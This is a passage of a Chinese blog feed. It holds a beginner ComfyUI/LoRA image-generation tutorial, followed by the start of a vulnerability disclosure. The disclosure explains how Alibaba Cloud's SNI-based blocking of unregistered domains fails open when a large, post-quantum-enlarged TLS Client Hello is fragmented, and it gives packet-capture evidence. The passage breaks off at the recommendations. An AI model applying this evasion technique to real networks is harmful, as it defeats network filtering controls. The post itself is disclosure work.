&lt;p&gt;曾经我写过一篇文章，记录了从零开始研究AI绘图的经历——当时把Stable Diffusion WebUI、Stable Diffusion Forge WebUI、ComfyUI全装了一遍，各种找教程、实操、试错。好在凭借着仅剩的记忆也是顺着这些蛛丝马迹把丢掉的知识找回来了。&lt;/p&gt;
&lt;p&gt;但那篇文章从现在看来，配置还是太麻烦了，并且有很多深层的东西没有讲清楚，只是教授了如何画 Danbooru 里已收录的角色。那么如果我想要画的角色很新或者没有收录呢？这期带你吃透AI绘图！&lt;/p&gt;
&lt;p&gt;在纯小白的情况下，你可以跑出类似下面的图！（跑不出来你打死我！）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-11-59-50-ComfyUI_00016_.BsLtYAQo.webp&quot; alt=&quot;2025-05-13-11-59-50-ComfyUI_00016_.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-00-37-ComfyUI_00011_.CchOiHp4.webp&quot; alt=&quot;2025-05-13-12-00-37-ComfyUI_00011_.webp&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;简单的思维风暴&lt;/h1&gt;
&lt;p&gt;在正式开始前，我们将会用到以下术语，这里会简单介绍都是做什么的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ComfyUI&lt;/strong&gt;：一个软件，是AI绘图控制台，你只需要在这里点点即可出图&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;checkpoint&lt;/strong&gt;：一个底层的，作为基底的模型。可以直接用它开始绘图又或者搭配下面的Lora模型来绘图&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LoRA&lt;/strong&gt;：一个控制角色/风格的模型。可以通过载入不同的LoRA去画出不同的角色或风格&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;prompt&lt;/strong&gt;：提示词，用以告知AI你想要画出什么样的东西&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单来说，这一切并不复杂，我们只需要首先挑选一个基底模型，如果你不挑或者你想画的角色正好就在其中，可以直接使用该角色的提示词作画。如果你想画不在其中的角色，只需要再载入一个LoRA模型即可。&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h2&gt;下载ComfyUI&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!tip]
更推荐使用 &lt;a href=&quot;https://www.bilibili.com/video/BV1rc6nYNEYo/&quot;&gt;Stable Diffusion Forge&lt;/a&gt;，如果不需要复杂的节点配布，sdf可以更方便的去写提示词
&lt;img src=&quot;https://2x.nz/_astro/ai-wife-17.BjRrJlcb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尽管ComfyUI支持AMD显卡以及纯CPU绘图，但还是建议使用 &lt;strong&gt;NVIDIA Cuda&lt;/strong&gt; 进行绘图，更快，兼容性也更好！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;方式一：官方版（推荐）&lt;/h3&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://www.comfy.org/zh-cn/&quot;&gt;ComfyUI | 用AI生成视频、图像、音频&lt;/a&gt; 下载并安装，记得打开魔法或在设置中更改镜像源&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife.Bl8jfmTo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;方式二：秋叶整合包&lt;/h3&gt;
&lt;p&gt;前往秋叶的视频评论区下载ComfyUI整合包，下载并解压： https://www.bilibili.com/video/BV1Ew411776J&lt;/p&gt;
&lt;p&gt;解压完后打开文件夹，打开 &lt;code&gt;A绘世启动器&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-05-17-image.-M7Jffn9.webp&quot; alt=&quot;2025-05-13-12-05-17-image.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击右下角的开始运行，先让他进行初始化，直到它自动打开你的浏览器并且可以正常进入ComfyUI的界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-06-57-image.QbTNo-6y.webp&quot; alt=&quot;2025-05-13-12-06-57-image.webp&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;下载基底模型&lt;/h2&gt;
&lt;p&gt;大部分LoRA一般都需要这两个基底模型。其中 NoobAI 支持直接通过 Danbooru 里已有的角色直接作画，无需其他LoRA：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://civitai.com/models/833294?modelVersionId=1190596&quot;&gt;NoobAI-XL (NAI-XL) - V-Pred-1.0-Version | NoobAI Checkpoint | Civitai&lt;/a&gt;（需魔法）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://civitai.com/models/827184/wai-illustrious-sdxl&quot;&gt;WAI-illustrious-SDXL - v16.0 | Illustrious Checkpoint | Civitai&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;点击下载即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-08-17-image.VYehOnV2.webp&quot; alt=&quot;2025-05-13-12-08-17-image.webp&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!warning]
由于V预测模型（NoobAI-VPred）较新，只能在SDForge和ComfyUI上运行，原版SD无法运行，会崩图！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;如果你需要下载LoRA&lt;/h3&gt;
&lt;p&gt;首先你要知道你想画的角色的英文名，如 &lt;strong&gt;Cartethyia&lt;/strong&gt; （鸣潮 - 卡提希娅）&lt;/p&gt;
&lt;p&gt;然后前往 https://civitai.com/ 进行搜索，选择你喜欢的LoRA&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-1.BIXyzFH0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在详情页你可以看到该LoRA所需要的基底模型。有些时候模型的简介也会写&lt;/p&gt;
&lt;p&gt;下面的 &lt;strong&gt;Trigger Words&lt;/strong&gt; 是推荐的 &lt;strong&gt;正向提示词&lt;/strong&gt; 一般来说仅导入LoRA不写专有提示词也会有一定的效果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-2.DZJhmM1F.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;放置模型&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!warning]
这里有一个坑点，对于桌面版安装的ComfyUI，请将模型放到你当时安装时选择的文件夹中，如： &lt;code&gt;C:\Users\af\Documents\ComfyUI&lt;/code&gt; ，而不是形如 &lt;code&gt;C:\Users\af\AppData\Local\Programs\ComfyUI\resources\ComfyUI&lt;/code&gt; 的地方，更多请参见官方文档： &lt;a href=&quot;https://docs.comfy.org/zh-CN/installation/desktop/windows#%E9%87%8D%E8%A6%81%E6%8F%90%E7%A4%BA%EF%BC%9A%E8%AF%B7%E5%8B%BF%E4%BF%AE%E6%94%B9-resource/comfyui-%E6%96%87%E4%BB%B6%E5%A4%B9&quot;&gt;重要提示：请勿修改 resource/ComfyUI 文件夹 - Windows桌面版 - ComfyUI&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;打开 &lt;code&gt;models&lt;/code&gt; 目录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将基底模型（类似 &lt;code&gt;noobaiXLNAIXL_vPred10Version.safetensors&lt;/code&gt;）放入 &lt;code&gt;checkpoints&lt;/code&gt; 文件夹&lt;/li&gt;
&lt;li&gt;将LoRA模型放入 &lt;code&gt;loras&lt;/code&gt; 文件夹&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-10-06-image.BLC3NYJT.webp&quot; alt=&quot;2025-05-13-12-10-06-image.webp&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;启动！开始画！&lt;/h2&gt;
&lt;p&gt;启动 ComfyUI&lt;/p&gt;
&lt;p&gt;默认打开应该是空空如也，这边提供了一个起手式+LoRA的工作流，你可以直接导入：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://2x.nz/files/%E5%9F%BA%E7%A1%80%E8%B5%B7%E6%89%8B.json&quot;&gt;点我下载- 基础起手.json&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://2x.nz/files/%E5%9F%BA%E7%A1%80%E8%B5%B7%E6%89%8B+Lora.json&quot;&gt;点我下载- 基础起手+Lora.json&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载之后，点击左上角的ComfyUI图标，打开这个工作流&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-3.C7Sj5Oax.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来，你应该已经有了这些节点&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-4.BzUXk6AF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;加载模型&lt;/h3&gt;
&lt;p&gt;这里加载基底模型，刷新ComfyUI后你应该可以在 &lt;code&gt;Checkpoint加载器(简易)&lt;/code&gt; 处看到你放置的所有模型，选择带有 &lt;code&gt;vPred...&lt;/code&gt; 的就是V预测模型&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-11-55-image.CPi73PUr.webp&quot; alt=&quot;2025-05-13-12-11-55-image.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-5.BPVTc-bm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里加载LoRA（如果有）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-6.0M7tfRfR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;填写提示词&lt;/h3&gt;
&lt;p&gt;这里填写正/反向提示词，均为 &lt;strong&gt;英文&lt;/strong&gt; ，如果不会写就去找其他AI描述你要画什么，然后让它返回给你用以AI绘图的prompt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-7.Cwl65vM9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;如何找到角色的提示词？&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;方式一：使用Danbooru角色标签（NoobAI专属）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;NoobAI模型的一大特色就是支持直接通过Danbooru里已有的角色直接作画！你想要画什么呢？比如崩铁的流萤？&lt;/p&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://www.downloadmost.com/NoobAI-XL/danbooru-character/&quot;&gt;Danbooru characters in NoobAI-XL (NAI-XL)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;搜索流萤的英文名 &lt;code&gt;firefly&lt;/code&gt; 或者搜索 &lt;code&gt;star rail&lt;/code&gt; 找到所有关于崩铁的角色&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-15-16-image.CmvILfa_.webp&quot; alt=&quot;2025-05-13-12-15-16-image.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复制 &lt;code&gt;Prompt tags&lt;/code&gt;，然后将其粘贴进链接了正面条件的CLIP文本编码器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-16-35-image.D5y8X4om.webp&quot; alt=&quot;2025-05-13-12-16-35-image.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样角色预设就写好了！&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方式二：使用LoRA的Trigger Words&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你使用LoRA，直接复制详情页的Trigger Words即可。&lt;/p&gt;
&lt;h4&gt;起手提示词推荐&lt;/h4&gt;
&lt;p&gt;我这里也提供了一些起手的提示词：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;正面条件&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;masterpiece, best quality, newest, absurdres, highres
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;负面条件&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;text, watermark, worst quality, old, early, low quality, lowres, signature, username, logo, bad hands, mutated hands, mammal, anthro, furry, ambiguous form, feral, semi-anthro
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们将其添加到ComfyUI，如下图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-19-32-image.BwtkYtO6.webp&quot; alt=&quot;2025-05-13-12-19-32-image.webp&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!tip]
如果你想要图片是不同的样子请在正面提示词和反面提示词添加（&lt;strong&gt;必须为英文！不知道的用翻译或者问AI！&lt;/strong&gt;）。比如想要让足部放到焦点上并且裸足就添加&lt;strong&gt;正面提示词&lt;/strong&gt;：&lt;code&gt;barefoot, feet in foreground&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;设置图像尺寸&lt;/h3&gt;
&lt;p&gt;这里设置生成图片的分辨率，根据不同模型有不同的推荐分辨率：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NoobAI推荐分辨率&lt;/strong&gt;（总面积约为 1024x1024）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;最推荐：832x1216&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;其余：768x1344、896x1152、1024x1024、1152x896、1216x832、1344x768、1024x1536、1536x1024&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-22-06-image.C1gqALTX.webp&quot; alt=&quot;2025-05-13-12-22-06-image.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-8.CPbO_w8e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;建议前往模型发布页查看相关推荐分辨率信息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;配置K采样器&lt;/h3&gt;
&lt;p&gt;这里控制生成参数（默认给你的就是一个不错的选择，如果不懂就不要动）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-9.BNbcvKkf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;种子&lt;/strong&gt;：每次都是一个随机值，如果固定下来且其他内容无变化则会始终出相同的图&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;步数&lt;/strong&gt;：即AI需要重绘多少次，过低会导致鬼图、崩图，过高可能会导致元素冗杂、饱和度过高
&lt;ul&gt;
&lt;li&gt;NoobAI推荐：28-35&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CFG&lt;/strong&gt;：AI对你输入的提示词的服从度，越高则越服从，越低则画得越天马行空（忽略一些提示词）
&lt;ul&gt;
&lt;li&gt;NoobAI推荐：4-5&lt;/li&gt;
&lt;li&gt;其他模型建议：7-9&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;采样器名称&lt;/strong&gt;：采样方式
&lt;ul&gt;
&lt;li&gt;NoobAI：&lt;strong&gt;只能用euler&lt;/strong&gt;（❗重要！不能更改！可能会崩图！）&lt;/li&gt;
&lt;li&gt;其他模型：大部分都能出正常图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;降噪&lt;/strong&gt;：AI生图的原理是将一张看起来像纯色图的图片一次次进行降噪来得到最终产物，该值设置得越低，则图片越不清楚、混杂，越高则越清晰，但更会出现过度锐利或过度解析&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;开启实时预览&lt;/h3&gt;
&lt;p&gt;为了确保在生图的时候我们不无聊，可以前往设置开启实时预览功能，将 &lt;strong&gt;实时预览&lt;/strong&gt; 改为 &lt;strong&gt;自动&lt;/strong&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-16.DiUNCmhd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;运行生成&lt;/h3&gt;
&lt;p&gt;接下来点击右上角的运行，哦对了，你还可以编辑旁边的数字来一次性生成多张图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-10.CzG8x1ew.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于我们开启了实时预览，你可以看到模型每一步的绘画进度&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ComfyUI_UkQQZG4KkW.BBgyEq4W.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击右上角的资产，可以展开，查看大图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-11.C8ZouTNn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所有生成的图片都可以在 &lt;code&gt;output&lt;/code&gt; 文件夹看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-12.9dYOrgZZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你想画其他角色也只需要：&lt;strong&gt;找LoRA，写推荐提示词，开跑！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-13.yTqtHi8K.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ai-wife-14.BkHs6VER.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;常见问题与技巧&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AI生成的图片随机性较强&lt;/strong&gt;：每一次生成的图片都不太一样，多试试！&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;避免生成涩图&lt;/strong&gt;：可以在负面提示词添加 &lt;code&gt;NSFW&lt;/code&gt;，在正面提示词添加 &lt;code&gt;safe&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关于V预测模型&lt;/strong&gt;：由于V预测模型较新，只能在SDForge和ComfyUI上运行，原版SD无法运行，会崩图&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;参考资源&lt;/strong&gt;：更多NoobAI模型的技巧可以到Civitai模型页面的About查看
&lt;img src=&quot;https://2x.nz/_astro/2025-05-13-12-30-55-image.WElvI67m.webp&quot; alt=&quot;2025-05-13-12-30-55-image.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>阿里云网关 DPI 阻断绕过漏洞分析报告：TLS Client Hello 分片逃逸</title><link>https://2x.nz/posts/aliyun-icp-tls-bug/</link><guid isPermaLink="true">https://2x.nz/posts/aliyun-icp-tls-bug/</guid><pubDate>Wed, 11 Feb 2026 11:38:46 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!caution]
提了Bug也没人管，公开了，侵删&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;阿里云网关 DPI 阻断绕过漏洞分析报告：TLS Client Hello 分片逃逸&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;目标资产&lt;/strong&gt;: &lt;code&gt;0721for.me&lt;/code&gt; (未备案域名)&lt;br /&gt;
&lt;strong&gt;解析 IP&lt;/strong&gt;: &lt;code&gt;39.107.95.178&lt;/code&gt; (阿里云)&lt;br /&gt;
&lt;strong&gt;漏洞类型&lt;/strong&gt;: DPI 深度包检测逃逸 / Fail-Open (失败即放行)&lt;br /&gt;
&lt;strong&gt;核心原因&lt;/strong&gt;: 防火墙 DPI 引擎无法正确处理 TCP 分片的 TLS Client Hello 包&lt;/p&gt;
&lt;h2&gt;1. 结论摘要&lt;/h2&gt;
&lt;p&gt;经深度抓包分析，阿里云网关针对未备案域名的 SNI 阻断策略存在严重的底层实现缺陷。&lt;strong&gt;当 TLS&lt;/strong&gt; &lt;code&gt;Client Hello&lt;/code&gt; &lt;strong&gt;数据包大小超过以太网 MTU (1500 字节) 从而触发 TCP 分片时，DPI 引擎会因无法重组报文或解析超时而选择直接“放行”&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;随着现代浏览器（Chrome/Firefox）和新版工具（Curl）默认启用 &lt;strong&gt;后量子加密 (PQC, X25519Kyber768)&lt;/strong&gt;，Client Hello 包大小普遍暴增至 1800+ 字节。这导致正常的现代 HTTPS 流量能够天然绕过监管阻断，而旧版客户端或手动降级的请求反被拦截。&lt;/p&gt;
&lt;h2&gt;2. 现象对比与证据链&lt;/h2&gt;
&lt;p&gt;我们对比了多种客户端配置下的抓包数据，结果呈现出完美的二元对立：&lt;strong&gt;凡是分片的包均绕过，凡是不分片的包均被拦截&lt;/strong&gt;。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;客户端环境&lt;/th&gt;
&lt;th&gt;TLS 关键特征&lt;/th&gt;
&lt;th&gt;包大小 (approx)&lt;/th&gt;
&lt;th&gt;TCP 分片&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;th&gt;原因分析&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Chrome / Firefox&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;默认开启 PQC (Kyber768)&lt;/td&gt;
&lt;td&gt;~1900 bytes&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;是&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;绕过 (200 OK)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;包过大触发分片，DPI 解析失败导致放行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Curl (Linux 新版)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;默认开启 PQC (Kyber768)&lt;/td&gt;
&lt;td&gt;~1800 bytes&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;是&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;绕过 (200 OK)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;同上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Curl (伪装 TLS 1.2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;伪装 1.2 但带 PQC Key Share&lt;/td&gt;
&lt;td&gt;~2400 bytes&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;是&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;绕过 (200 OK)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;只要有 PQC 撑大包，版本号伪装也能过&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Curl (手动指定)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--curves X25519&lt;/code&gt; (禁用 PQC)&lt;/td&gt;
&lt;td&gt;~300 bytes&lt;/td&gt;
&lt;td&gt;❌ 否&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;拦截 (RST)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;单包完整，DPI 成功提取 SNI 并拦截&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Curl (Windows)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;旧版/Schannel (无 PQC)&lt;/td&gt;
&lt;td&gt;~450 bytes&lt;/td&gt;
&lt;td&gt;❌ 否&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;拦截 (RST)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;同上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Firefox (强制 1.2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;纯 TLS 1.2 (无 KeyShare)&lt;/td&gt;
&lt;td&gt;~180 bytes&lt;/td&gt;
&lt;td&gt;❌ 否&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;拦截 (RST)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;纯 TLS 1.2 包极小，DPI 轻松解析拦截&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;3. 技术细节分析&lt;/h2&gt;
&lt;h3&gt;3.1 核心机制：PQC 撑爆 MTU&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PQC 引入&lt;/strong&gt;：TLS 1.3 引入了后量子加密算法支持。主流的 &lt;code&gt;X25519MLKEM768&lt;/code&gt; (Kyber768) 密钥交换需要在 &lt;code&gt;Client Hello&lt;/code&gt; 的 &lt;code&gt;key_share&lt;/code&gt; 扩展中携带约 &lt;strong&gt;1200 字节&lt;/strong&gt; 的公钥数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包大小激增&lt;/strong&gt;：加上其他常规扩展（SNI, ALPN, Signature Algorithms 等），整个 &lt;code&gt;Client Hello&lt;/code&gt; 的长度通常在 &lt;strong&gt;1800 - 2500 字节&lt;/strong&gt; 之间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TCP 分片&lt;/strong&gt;：标准以太网 MTU 为 1500 字节。超过此大小的 TLS 握手包必须被网络协议栈拆分为多个 TCP 段（Segments）发送。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 DPI 缺陷：Fail-Open&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解析逻辑&lt;/strong&gt;：阿里云网关的 DPI 引擎似乎&lt;strong&gt;仅检测 TLS 握手的第一个 TCP 数据包&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;截断失效&lt;/strong&gt;：对于分片的 Client Hello，SNI 扩展虽然通常在第一个包中，但由于 TLS Record Layer 的 &lt;code&gt;Length&lt;/code&gt; 字段指示的长度（如 1800）远大于实际接收到的第一个分片长度（如 1400），DPI 引擎会判断为报文不完整或无法解析。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;策略选择&lt;/strong&gt;：为了避免在高并发下进行昂贵的 TCP 流重组（Stream Reassembly），或者避免误杀（False Positive），DPI 采取了 &lt;strong&gt;Fail-Open&lt;/strong&gt; 策略，即 &lt;strong&gt;“看不懂就行”&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.3 关键抓包证据 (Wireshark Frames)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Frame 4251 (Firefox - 绕过)&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Length: 1890&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[2 Reassembled TCP Segments]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Extension: key_share ... X25519MLKEM768&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Frame 964 (Firefox 强制 TLS 1.2 - 拦截)&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Length: 186&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;无 &lt;code&gt;key_share&lt;/code&gt;，无 PQC。&lt;/li&gt;
&lt;li&gt;单包发送，立即 RST。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Frame 568 (伪装 TLS 1.2 - 绕过)&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Version: TLS 1.2&lt;/code&gt; 但包含 PQC Key Share。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Length: 2441&lt;/code&gt;，分片 -&amp;gt; 绕过。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. 危害与建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;危害&lt;/strong&gt;：当前的监管阻断策略对现代流量（主流浏览器、新版工具）几乎完全失效，仅能拦截旧设备或特定配置的爬虫，形同虚设。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;建议&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
